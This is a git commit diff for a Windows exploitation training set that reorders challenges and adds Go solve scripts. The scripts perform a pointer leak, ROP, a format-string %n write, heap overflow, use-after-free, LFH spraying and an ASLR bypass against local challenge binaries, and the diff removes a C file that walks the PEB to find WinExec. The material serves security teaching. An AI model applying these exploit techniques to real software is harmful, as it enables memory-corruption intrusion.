restructure workspace into numbered pwn progression
Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,38 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"strconv"
|
||||||
|
"winpwn"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
tube, err := winpwn.Spawn("./task1.exe")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Spawn: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
|
||||||
|
log.Fatalf("RecvUntil: %v", err)
|
||||||
|
}
|
||||||
|
addrBytes, err := tube.RecvUntil([]byte("\n"))
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("RecvUntil: %v", err)
|
||||||
|
}
|
||||||
|
mainAddr, err := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("parse addr: %v", err)
|
||||||
|
}
|
||||||
|
fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr)
|
||||||
|
|
||||||
|
winAddr := mainAddr - 267
|
||||||
|
fmt.Printf("[+] win: 0x%X\n", winAddr)
|
||||||
|
|
||||||
|
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(fmt.Sprintf("%x", winAddr))); err != nil {
|
||||||
|
log.Fatalf("SendLineAfter: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tube.Interactive()
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"winpwn"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
target := "task2.exe"
|
||||||
|
|
||||||
|
peFile, err := winpwn.OpenPE(target)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to open PE: %v", err)
|
||||||
|
}
|
||||||
|
defer peFile.Close()
|
||||||
|
|
||||||
|
winRVA, err := peFile.GetProcAddress("win")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("win() not found: %v", err)
|
||||||
|
}
|
||||||
|
imageBase, err := peFile.ImageBase()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to read ImageBase: %v", err)
|
||||||
|
}
|
||||||
|
winAddr := imageBase + winRVA
|
||||||
|
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
||||||
|
|
||||||
|
popRcx := uint64(0x140002740)
|
||||||
|
ret := uint64(0x140001000)
|
||||||
|
|
||||||
|
offset := 56
|
||||||
|
payload := bytes.Repeat([]byte("A"), offset)
|
||||||
|
payload = append(payload, winpwn.P64(popRcx)...)
|
||||||
|
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
||||||
|
payload = append(payload, winpwn.P64(ret)...)
|
||||||
|
payload = append(payload, winpwn.P64(winAddr)...)
|
||||||
|
|
||||||
|
tube, err := winpwn.Spawn("./" + target)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Spawn: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
|
||||||
|
log.Fatalf("SendLineAfter: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tube.Interactive()
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
flag{test_flag}
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"log"
|
||||||
|
"winpwn"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
tube, err := winpwn.Spawn("fs3_win.exe")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Spawn: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
offset := 49
|
||||||
|
var payload bytes.Buffer
|
||||||
|
for i := 0; i < offset-1; i++ {
|
||||||
|
payload.WriteString("%p ")
|
||||||
|
}
|
||||||
|
payload.WriteString("%n\n")
|
||||||
|
|
||||||
|
if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil {
|
||||||
|
log.Fatalf("SendLineAfter: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tube.Interactive()
|
||||||
|
}
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"strconv"
|
||||||
|
"winpwn"
|
||||||
|
)
|
||||||
|
|
||||||
|
func parseAddr(line []byte) (uint64, error) {
|
||||||
|
idx := bytes.Index(line, []byte("addr=0x"))
|
||||||
|
if idx == -1 {
|
||||||
|
return 0, fmt.Errorf("no addr= in %q", line)
|
||||||
|
}
|
||||||
|
return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
pf, err := winpwn.OpenPE("heap_overflow.exe")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("OpenPE: %v", err)
|
||||||
|
}
|
||||||
|
winRVA, err := pf.GetProcAddress("win")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("win() not found: %v", err)
|
||||||
|
}
|
||||||
|
base, err := pf.ImageBase()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("ImageBase: %v", err)
|
||||||
|
}
|
||||||
|
winAddr := base + winRVA
|
||||||
|
pf.Close()
|
||||||
|
fmt.Printf("[+] win() @ 0x%X\n", winAddr)
|
||||||
|
|
||||||
|
tube, err := winpwn.Spawn("heap_overflow.exe")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Spawn: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := tube.RecvLine(); err != nil {
|
||||||
|
log.Fatalf("RecvLine: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, text := range []string{"A note0", "A note1"} {
|
||||||
|
if err := tube.SendLine([]byte(text)); err != nil {
|
||||||
|
log.Fatalf("SendLine %s: %v", text, err)
|
||||||
|
}
|
||||||
|
resp, err := tube.RecvLine()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("RecvLine: %v", err)
|
||||||
|
}
|
||||||
|
addr, _ := parseAddr(resp)
|
||||||
|
fmt.Printf("[+] %s\n", bytes.TrimSpace(resp))
|
||||||
|
_ = addr
|
||||||
|
}
|
||||||
|
|
||||||
|
payload := bytes.Repeat([]byte{0x41}, 24)
|
||||||
|
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...)
|
||||||
|
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...)
|
||||||
|
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...)
|
||||||
|
payload = append(payload, winpwn.P64(winAddr)...)
|
||||||
|
|
||||||
|
fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload))
|
||||||
|
if err := tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload))); err != nil {
|
||||||
|
log.Fatalf("SendLine W: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := tube.RecvLine(); err != nil {
|
||||||
|
log.Fatalf("RecvLine W resp: %v", err)
|
||||||
|
}
|
||||||
|
fmt.Printf("[+] overflow written, note[1]->action now points to win()\n")
|
||||||
|
|
||||||
|
fmt.Printf("[+] calling C 1...\n")
|
||||||
|
if err := tube.SendLine([]byte("C 1")); err != nil {
|
||||||
|
log.Fatalf("SendLine C: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tube.Interactive()
|
||||||
|
}
|
||||||
@@ -1,35 +1,3 @@
|
|||||||
/*
|
|
||||||
Solve script for heap_typemix.exe: UAF type-confusion on a private NT Heap
|
|
||||||
(no LFH, no grooming required).
|
|
||||||
|
|
||||||
The heap has two struct types of the same size (32 bytes):
|
|
||||||
|
|
||||||
Note: { char title[24]; void(*onPrint)(const char*); }
|
|
||||||
Token: { char data[24]; void(*validate)(const char*); }
|
|
||||||
|
|
||||||
The bug: command D frees a Note but leaves its pointer in the table.
|
|
||||||
Command T allocates a raw 32-byte Token from the same private heap. Because
|
|
||||||
LFH is NOT active (no HeapSetInformation call, too few allocations), the freed
|
|
||||||
Note slot goes straight to the NT Heap backend freelist. The very next 32-byte
|
|
||||||
HeapAlloc -- i.e. the T command -- returns the exact same address.
|
|
||||||
|
|
||||||
Exploit chain (no grooming loop needed):
|
|
||||||
1. N victim -- allocate Note at address X, onPrint = real_print
|
|
||||||
2. D 0 -- free Note (X is on backend freelist, pointer stays in table)
|
|
||||||
3. T <payload> -- HeapAlloc 32 bytes -> gets X; write win()'s address at offset 24
|
|
||||||
4. P 0 -- call note[0]->onPrint(note[0]->title)
|
|
||||||
=> actually calls Token.validate (= win()) at offset 24
|
|
||||||
|
|
||||||
win() address is read from the PE export table -- no leak needed, no ASLR to
|
|
||||||
defeat (or if the task provides it over the network, extract it the same way
|
|
||||||
examples/heap_lfh does with OpenPE).
|
|
||||||
|
|
||||||
NOTE FOR TASK AUTHORS: this is the simplest possible Windows heap UAF: no LFH
|
|
||||||
grooming threshold (unlike heap_lfh's ~19-allocation warmup), no Segment Heap
|
|
||||||
metadata isolation (unlike heap_segment). The freed chunk returns immediately.
|
|
||||||
If you need a harder variant, see heap_lfh (LFH grooming required) or
|
|
||||||
heap_lfh_hard (type confusion across size classes).
|
|
||||||
*/
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -70,11 +38,10 @@ func main() {
|
|||||||
log.Fatalf("Spawn: %v", err)
|
log.Fatalf("Spawn: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, err := tube.RecvLine(); err != nil { // "heap_typemix ready"
|
if _, err := tube.RecvLine(); err != nil {
|
||||||
log.Fatalf("RecvLine: %v", err)
|
log.Fatalf("RecvLine: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Step 1: allocate the victim Note
|
|
||||||
if err := tube.SendLine([]byte("N victim")); err != nil {
|
if err := tube.SendLine([]byte("N victim")); err != nil {
|
||||||
log.Fatalf("SendLine N: %v", err)
|
log.Fatalf("SendLine N: %v", err)
|
||||||
}
|
}
|
||||||
@@ -88,7 +55,6 @@ func main() {
|
|||||||
}
|
}
|
||||||
fmt.Printf("[+] victim Note @ 0x%X\n", victimAddr)
|
fmt.Printf("[+] victim Note @ 0x%X\n", victimAddr)
|
||||||
|
|
||||||
// Step 2: free the victim (dangling pointer stays in table)
|
|
||||||
if err := tube.SendLine([]byte("D 0")); err != nil {
|
if err := tube.SendLine([]byte("D 0")); err != nil {
|
||||||
log.Fatalf("SendLine D: %v", err)
|
log.Fatalf("SendLine D: %v", err)
|
||||||
}
|
}
|
||||||
@@ -97,9 +63,6 @@ func main() {
|
|||||||
}
|
}
|
||||||
fmt.Printf("[+] freed Note (dangling pointer at id=0)\n")
|
fmt.Printf("[+] freed Note (dangling pointer at id=0)\n")
|
||||||
|
|
||||||
// Step 3: allocate Token -- same 32-byte allocation will land at victimAddr.
|
|
||||||
// Token layout: data[24] | validate(8)
|
|
||||||
// We put win()'s address at offset 24 (= the validate / onPrint slot).
|
|
||||||
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
|
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
|
||||||
payloadHex := winpwn.Enhex(payload)
|
payloadHex := winpwn.Enhex(payload)
|
||||||
if err := tube.SendLine([]byte("T " + payloadHex)); err != nil {
|
if err := tube.SendLine([]byte("T " + payloadHex)); err != nil {
|
||||||
@@ -119,7 +82,6 @@ func main() {
|
|||||||
fmt.Printf(" (check: did LFH activate? too many prior allocations?)\n")
|
fmt.Printf(" (check: did LFH activate? too many prior allocations?)\n")
|
||||||
}
|
}
|
||||||
|
|
||||||
// Step 4: call P 0 -- invokes note[0]->onPrint, which is now Token.validate = win()
|
|
||||||
fmt.Printf("[+] dispatching P 0 (UAF call through dangling pointer)...\n")
|
fmt.Printf("[+] dispatching P 0 (UAF call through dangling pointer)...\n")
|
||||||
if err := tube.SendLine([]byte("P 0")); err != nil {
|
if err := tube.SendLine([]byte("P 0")); err != nil {
|
||||||
log.Fatalf("SendLine P: %v", err)
|
log.Fatalf("SendLine P: %v", err)
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"winpwn"
|
||||||
|
)
|
||||||
|
|
||||||
|
func parseAddr(line []byte) (uint64, error) {
|
||||||
|
idx := bytes.Index(line, []byte("addr=0x"))
|
||||||
|
if idx == -1 {
|
||||||
|
return 0, fmt.Errorf("no addr= in line %q", line)
|
||||||
|
}
|
||||||
|
hexPart := line[idx+len("addr=0x"):]
|
||||||
|
hexPart = bytes.TrimSpace(hexPart)
|
||||||
|
return strconv.ParseUint(string(hexPart), 16, 64)
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
pf, err := winpwn.OpenPE("heap_lfh.exe")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("OpenPE: %v", err)
|
||||||
|
}
|
||||||
|
winRVA, err := pf.GetProcAddress("win")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("win() not found: %v", err)
|
||||||
|
}
|
||||||
|
base, err := pf.ImageBase()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("ImageBase: %v", err)
|
||||||
|
}
|
||||||
|
winAddr := base + winRVA
|
||||||
|
pf.Close()
|
||||||
|
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
||||||
|
|
||||||
|
tube, err := winpwn.Spawn("heap_lfh.exe")
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Spawn: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := tube.RecvLine(); err != nil {
|
||||||
|
log.Fatalf("RecvLine: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for i := 0; i < 5; i++ {
|
||||||
|
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
|
||||||
|
log.Fatalf("SendLine: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := tube.RecvLine(); err != nil {
|
||||||
|
log.Fatalf("RecvLine: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tube.SendLine([]byte("A victim")); err != nil {
|
||||||
|
log.Fatalf("SendLine: %v", err)
|
||||||
|
}
|
||||||
|
resp, err := tube.RecvLine()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("RecvLine: %v", err)
|
||||||
|
}
|
||||||
|
victimAddr, err := parseAddr(resp)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("parse victim addr: %v", err)
|
||||||
|
}
|
||||||
|
victimID := 5
|
||||||
|
fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr)
|
||||||
|
|
||||||
|
if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil {
|
||||||
|
log.Fatalf("SendLine: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := tube.RecvLine(); err != nil {
|
||||||
|
log.Fatalf("RecvLine: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
payload := bytes.Repeat([]byte{0x41}, 24)
|
||||||
|
payload = append(payload, winpwn.P64(winAddr)...)
|
||||||
|
payloadHex := winpwn.Enhex(payload)
|
||||||
|
|
||||||
|
const maxAttempts = 64
|
||||||
|
victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr}
|
||||||
|
_, _, attempts, ok, err := winpwn.SprayAndFind(
|
||||||
|
[]winpwn.SprayResult[uint64]{victim},
|
||||||
|
maxAttempts,
|
||||||
|
func(attempt int) (winpwn.SprayResult[uint64], error) {
|
||||||
|
if err := tube.SendLine([]byte("B " + payloadHex)); err != nil {
|
||||||
|
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
|
||||||
|
}
|
||||||
|
resp, err := tube.RecvLine()
|
||||||
|
if err != nil {
|
||||||
|
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
|
||||||
|
}
|
||||||
|
if !strings.HasPrefix(string(resp), "OK") {
|
||||||
|
return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp)
|
||||||
|
}
|
||||||
|
addr, err := parseAddr(resp)
|
||||||
|
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
|
||||||
|
},
|
||||||
|
func(a, b uint64) bool { return a == b },
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("spray: %v", err)
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts)
|
||||||
|
}
|
||||||
|
fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts)
|
||||||
|
|
||||||
|
if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil {
|
||||||
|
log.Fatalf("SendLine: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tube.Interactive()
|
||||||
|
}
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*
|
|
||||||
Solve script for heap_info_leak.exe: two-stage exploit.
|
|
||||||
|
|
||||||
Stage 1 -- OOB read to defeat ASLR:
|
|
||||||
The binary has ASLR enabled (DynamicBase flag set -- run `winpwn checksec` to
|
|
||||||
confirm). The win() address is randomized per run. But the S command prints
|
|
||||||
an arbitrary number of bytes from note[id]->data with no bounds check. Asking
|
|
||||||
for 32 bytes from a 24-byte Note reveals bytes 24-31, which are the 8-byte
|
|
||||||
onShow function pointer (real_show, also exported). From real_show's runtime
|
|
||||||
address and the static RVA difference (win_rva - real_show_rva, from the PE
|
|
||||||
export table), we compute win()'s runtime address:
|
|
||||||
|
|
||||||
win_va = leaked_real_show_va + (win_rva - real_show_rva)
|
|
||||||
|
|
||||||
Stage 2 -- UAF function pointer overwrite:
|
|
||||||
The D command frees the note (dangling pointer stays in the table). The T
|
|
||||||
command allocates a raw 32-byte token; since LFH is not active (< 18
|
|
||||||
same-size allocations), the freed chunk is reused immediately. We place win_va
|
|
||||||
at offset 24 of the token payload (the onShow slot). P <id> dispatches through
|
|
||||||
the dangling note pointer and lands at win().
|
|
||||||
|
|
||||||
Real-CTF parallels (see heap_info_leak.c's top comment):
|
|
||||||
- justCTF 2024 "Baby Heap but Windows": heap struct at heap+0x2c0 leaks ntdll
|
|
||||||
- ECW CTF 2024 "Address Book": type confusion OOB read leaks binary pointer
|
|
||||||
*/
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -44,7 +19,6 @@ func parseAddr(line []byte) (uint64, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
// Load the PE on-disk to compute static RVA offsets
|
|
||||||
pf, err := winpwn.OpenPE("heap_info_leak.exe")
|
pf, err := winpwn.OpenPE("heap_info_leak.exe")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("OpenPE: %v", err)
|
log.Fatalf("OpenPE: %v", err)
|
||||||
@@ -59,8 +33,6 @@ func main() {
|
|||||||
}
|
}
|
||||||
pf.Close()
|
pf.Close()
|
||||||
|
|
||||||
// The RVA difference is the static offset between win() and real_show() --
|
|
||||||
// constant regardless of where ASLR loads the binary.
|
|
||||||
rvaDiff := int64(winRVA) - int64(realShowRVA)
|
rvaDiff := int64(winRVA) - int64(realShowRVA)
|
||||||
fmt.Printf("[+] win RVA=0x%x real_show RVA=0x%x diff=%+d\n", winRVA, realShowRVA, rvaDiff)
|
fmt.Printf("[+] win RVA=0x%x real_show RVA=0x%x diff=%+d\n", winRVA, realShowRVA, rvaDiff)
|
||||||
|
|
||||||
@@ -68,11 +40,10 @@ func main() {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("Spawn: %v", err)
|
log.Fatalf("Spawn: %v", err)
|
||||||
}
|
}
|
||||||
if _, err := tube.RecvLine(); err != nil { // "heap_info_leak ready ..."
|
if _, err := tube.RecvLine(); err != nil {
|
||||||
log.Fatalf("RecvLine: %v", err)
|
log.Fatalf("RecvLine: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Stage 1a: allocate one Note
|
|
||||||
if err := tube.SendLine([]byte("N victim")); err != nil {
|
if err := tube.SendLine([]byte("N victim")); err != nil {
|
||||||
log.Fatalf("SendLine N: %v", err)
|
log.Fatalf("SendLine N: %v", err)
|
||||||
}
|
}
|
||||||
@@ -83,7 +54,6 @@ func main() {
|
|||||||
noteAddr, _ := parseAddr(resp)
|
noteAddr, _ := parseAddr(resp)
|
||||||
fmt.Printf("[+] Note @ 0x%x\n", noteAddr)
|
fmt.Printf("[+] Note @ 0x%x\n", noteAddr)
|
||||||
|
|
||||||
// Stage 1b: OOB read -- request 32 bytes (struct size), byte 24-31 = onShow ptr
|
|
||||||
if err := tube.SendLine([]byte("S 0 32")); err != nil {
|
if err := tube.SendLine([]byte("S 0 32")); err != nil {
|
||||||
log.Fatalf("SendLine S: %v", err)
|
log.Fatalf("SendLine S: %v", err)
|
||||||
}
|
}
|
||||||
@@ -91,7 +61,6 @@ func main() {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("RecvLine S: %v", err)
|
log.Fatalf("RecvLine S: %v", err)
|
||||||
}
|
}
|
||||||
// resp: "HEX <64 hex chars>"
|
|
||||||
hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX "))
|
hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX "))
|
||||||
leaked, err := hex.DecodeString(string(hexPart))
|
leaked, err := hex.DecodeString(string(hexPart))
|
||||||
if err != nil || len(leaked) < 32 {
|
if err != nil || len(leaked) < 32 {
|
||||||
@@ -100,11 +69,9 @@ func main() {
|
|||||||
realShowVA := binary.LittleEndian.Uint64(leaked[24:32])
|
realShowVA := binary.LittleEndian.Uint64(leaked[24:32])
|
||||||
fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA)
|
fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA)
|
||||||
|
|
||||||
// Stage 1c: compute win()'s runtime address
|
|
||||||
winVA := uint64(int64(realShowVA) + rvaDiff)
|
winVA := uint64(int64(realShowVA) + rvaDiff)
|
||||||
fmt.Printf("[+] win() @ 0x%x (computed from leak + static RVA diff)\n", winVA)
|
fmt.Printf("[+] win() @ 0x%x\n", winVA)
|
||||||
|
|
||||||
// Stage 2a: free the victim (dangling pointer stays)
|
|
||||||
if err := tube.SendLine([]byte("D 0")); err != nil {
|
if err := tube.SendLine([]byte("D 0")); err != nil {
|
||||||
log.Fatalf("SendLine D: %v", err)
|
log.Fatalf("SendLine D: %v", err)
|
||||||
}
|
}
|
||||||
@@ -113,7 +80,6 @@ func main() {
|
|||||||
}
|
}
|
||||||
fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n")
|
fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n")
|
||||||
|
|
||||||
// Stage 2b: allocate Token with win() at offset 24 (onShow position)
|
|
||||||
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
|
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
|
||||||
if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil {
|
if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil {
|
||||||
log.Fatalf("SendLine T: %v", err)
|
log.Fatalf("SendLine T: %v", err)
|
||||||
@@ -128,7 +94,6 @@ func main() {
|
|||||||
fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n")
|
fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n")
|
||||||
}
|
}
|
||||||
|
|
||||||
// Stage 2c: trigger the UAF call
|
|
||||||
fmt.Printf("[+] triggering P 0 (UAF -> win())...\n")
|
fmt.Printf("[+] triggering P 0 (UAF -> win())...\n")
|
||||||
if err := tube.SendLine([]byte("P 0")); err != nil {
|
if err := tube.SendLine([]byte("P 0")); err != nil {
|
||||||
log.Fatalf("SendLine P: %v", err)
|
log.Fatalf("SendLine P: %v", err)
|
||||||
@@ -1,166 +0,0 @@
|
|||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
// Функция для парсинга PEB и поиска WinExec
|
|
||||||
FARPROC FindWinExec() {
|
|
||||||
// Получаем PEB через FS регистр
|
|
||||||
#ifdef _WIN64
|
|
||||||
PPEB pPEB = (PPEB)__readgsqword(0x60);
|
|
||||||
#else
|
|
||||||
PPEB pPEB = (PPEB)__readfsdword(0x30);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Получаем LDR (Loader Data)
|
|
||||||
PPEB_LDR_DATA pLDR = pPEB->Ldr;
|
|
||||||
|
|
||||||
// Проходим по списку загруженных модулей
|
|
||||||
LIST_ENTRY* pModuleList = &pLDR->InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY* pEntry = pModuleList->Flink;
|
|
||||||
|
|
||||||
// Ищем kernel32.dll
|
|
||||||
while (pEntry != pModuleList) {
|
|
||||||
PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
|
||||||
|
|
||||||
// Проверяем имя модуля
|
|
||||||
WCHAR* moduleName = pModule->BaseDllName.Buffer;
|
|
||||||
if (moduleName && wcsstr(moduleName, L"kernel32.dll")) {
|
|
||||||
HMODULE hKernel32 = (HMODULE)pModule->DllBase;
|
|
||||||
|
|
||||||
// Ищем WinExec в kernel32.dll
|
|
||||||
FARPROC pWinExec = GetProcAddress(hKernel32, "WinExec");
|
|
||||||
if (pWinExec) {
|
|
||||||
printf("[+] Found WinExec at: 0x%p\n", pWinExec);
|
|
||||||
return pWinExec;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
pEntry = pEntry->Flink;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Функция для открытия и парсинга .exe файла
|
|
||||||
void ParseExeFile(const char* filename) {
|
|
||||||
HANDLE hFile = CreateFileA(
|
|
||||||
filename,
|
|
||||||
GENERIC_READ,
|
|
||||||
FILE_SHARE_READ,
|
|
||||||
NULL,
|
|
||||||
OPEN_EXISTING,
|
|
||||||
FILE_ATTRIBUTE_NORMAL,
|
|
||||||
NULL
|
|
||||||
);
|
|
||||||
|
|
||||||
if (hFile == INVALID_HANDLE_VALUE) {
|
|
||||||
printf("[-] Failed to open file: %s\n", filename);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Читаем DOS заголовок
|
|
||||||
IMAGE_DOS_HEADER dosHeader;
|
|
||||||
DWORD bytesRead;
|
|
||||||
if (!ReadFile(hFile, &dosHeader, sizeof(dosHeader), &bytesRead, NULL)) {
|
|
||||||
printf("[-] Failed to read DOS header\n");
|
|
||||||
CloseHandle(hFile);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Проверяем сигнатуру DOS
|
|
||||||
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
|
|
||||||
printf("[-] Invalid DOS signature\n");
|
|
||||||
CloseHandle(hFile);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Переходим к PE заголовку
|
|
||||||
SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN);
|
|
||||||
|
|
||||||
// Читаем PE сигнатуру
|
|
||||||
DWORD peSignature;
|
|
||||||
ReadFile(hFile, &peSignature, sizeof(peSignature), &bytesRead, NULL);
|
|
||||||
|
|
||||||
if (peSignature != IMAGE_NT_SIGNATURE) {
|
|
||||||
printf("[-] Invalid PE signature\n");
|
|
||||||
CloseHandle(hFile);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Читаем файловый заголовок
|
|
||||||
IMAGE_FILE_HEADER fileHeader;
|
|
||||||
ReadFile(hFile, &fileHeader, sizeof(fileHeader), &bytesRead, NULL);
|
|
||||||
|
|
||||||
printf("[+] File is a valid PE executable\n");
|
|
||||||
printf("[+] Number of sections: %d\n", fileHeader.NumberOfSections);
|
|
||||||
printf("[+] Size of optional header: %d\n", fileHeader.SizeOfOptionalHeader);
|
|
||||||
|
|
||||||
// Читаем опциональный заголовок
|
|
||||||
IMAGE_OPTIONAL_HEADER32 optionalHeader;
|
|
||||||
ReadFile(hFile, &optionalHeader, sizeof(optionalHeader), &bytesRead, NULL);
|
|
||||||
|
|
||||||
printf("[+] Entry point: 0x%X\n", optionalHeader.AddressOfEntryPoint);
|
|
||||||
printf("[+] Image base: 0x%X\n", optionalHeader.ImageBase);
|
|
||||||
|
|
||||||
// Читаем секции
|
|
||||||
printf("\n[+] Sections:\n");
|
|
||||||
for (int i = 0; i < fileHeader.NumberOfSections; i++) {
|
|
||||||
